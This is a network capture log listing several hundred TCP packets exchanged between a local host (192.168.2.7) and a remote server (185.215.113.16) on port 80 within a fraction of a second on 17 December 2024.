Dec 17, 2024 10:23:31.176902056 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.176909924 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.176949978 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.176970005 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.177635908 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.177684069 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.177690983 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.177694082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.177737951 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.177764893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.177813053 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.178436041 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.178488970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.178498983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.178544044 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.178590059 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.178651094 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.179259062 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.179291964 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.179307938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.179342985 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.179405928 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.179580927 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.180057049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.180155993 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.180166960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.180202007 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.180273056 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.180273056 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.180861950 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.180885077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.180898905 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.180946112 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.181020975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.181101084 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.181660891 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.181716919 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.181725979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.181766987 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.181785107 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.181807995 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.182455063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.182501078 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.182508945 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.182559967 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.182585001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.182691097 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.183273077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.183336973 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.183346033 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.183382034 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.183468103 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.183532953 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.184078932 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.184170008 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.184180021 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.184211016 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.184267044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.184360027 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.184910059 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.184931993 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.184945107 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.184977055 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.185024023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.185112000 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.185647964 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.185719013 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.185726881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.185765028 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.185834885 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.186021090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.186459064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.186507940 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.186516047 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.186568022 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.186593056 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.186639071 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.187268019 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.187320948 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.187330961 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.187374115 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.187407970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.187659025 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.188090086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.188179970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.188188076 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.188236952 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.188324928 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.188462973 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.188870907 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.188940048 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.188947916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.188991070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.189016104 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.189539909 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.189694881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.189760923 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.189769030 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.189807892 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.189851046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.189887047 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.190561056 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.190568924 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.190577984 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.190609932 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.190620899 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.190646887 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.191270113 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.191333055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.191340923 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.191376925 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.191437960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.191528082 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.192061901 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.192137957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.192146063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.192212105 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.192289114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.192542076 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.192888975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.192928076 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.192940950 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.192971945 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.193017960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.193075895 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.193675041 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.193715096 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.193723917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.193758965 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.193804979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.193897963 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.194456100 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.227720976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.227766991 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.227782965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.227833033 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.227884054 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.228039026 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.228091955 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.228388071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.228398085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.228409052 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.228440046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.228790045 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.228846073 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.228861094 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.228892088 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.228910923 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.228938103 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.229660988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.229717970 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.229728937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.229739904 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.229779959 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.229804039 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.230420113 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.230444908 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.230454922 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.230480909 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.230496883 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.230506897 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.274352074 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.300534964 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.300579071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.300587893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.300604105 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.300868034 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.300894022 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.300908089 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.300923109 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.300971031 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.300981045 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.301039934 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.301660061 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.301696062 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.301704884 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.301758051 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.301781893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.301919937 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.302448988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.302510023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.302517891 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.302572012 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.302597046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.302690029 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.303272963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.303333044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.303343058 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.303378105 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.303442001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.303566933 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.357397079 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.357458115 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.357531071 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.403377056 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.421689987 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.523163080 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.523195982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.523204088 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.523255110 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.523279905 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.523360014 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.523581028 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.523678064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.523693085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.523742914 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.523799896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.523868084 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.524485111 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.524508953 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.524518013 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.524525881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.524563074 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.524585962 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.525196075 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.525249004 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.525260925 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.525310993 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.525321960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.525398970 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.525999069 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.526029110 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.526046038 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.526079893 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.526091099 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.526810884 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.526843071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.526858091 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.526891947 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.526911974 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.527148008 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.527622938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.527688026 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.527703047 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.527734041 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.527776003 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.527846098 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.528359890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.528409004 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.528424978 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.528445005 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.528493881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.529180050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.529222965 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.529234886 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.529242992 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.529273987 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.529330969 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.529638052 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.530002117 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.530056000 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.530064106 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.530102015 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.530222893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.530266047 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.530839920 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.530889988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.530900955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.530930042 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.530996084 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.531043053 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.531661987 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.531723022 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.531773090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.531774998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.531785965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.531819105 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.532455921 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.532484055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.532505035 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.532512903 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.532532930 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.532567024 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.533179998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.533225060 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.533245087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.533289909 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.533334970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.533379078 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.534007072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.534064054 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.534081936 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.534126997 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.534197092 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.534277916 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.534830093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.534854889 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.534868956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.534915924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.534954071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.535032034 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.535593033 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.535659075 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.535666943 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.535720110 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.535727978 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.535775900 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.536390066 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.536425114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.536439896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.536468029 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.536530972 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.537230968 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.537247896 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.537250996 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.537261009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.537293911 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.537319899 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.537365913 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.538009882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.538049936 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.538058043 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.538094044 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.538136005 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.538361073 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.538841009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.538872957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.538892031 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.538921118 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.539031029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.539076090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.539592028 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.539657116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.539673090 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.539706945 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.539745092 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.539799929 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.540402889 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.540456057 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.540463924 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.540518999 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.540540934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.540604115 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.541214943 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.541258097 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.541265965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.541335106 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.541347027 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.541439056 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.542042017 CET	80	49752	185.215.113.16	192.168.2.7
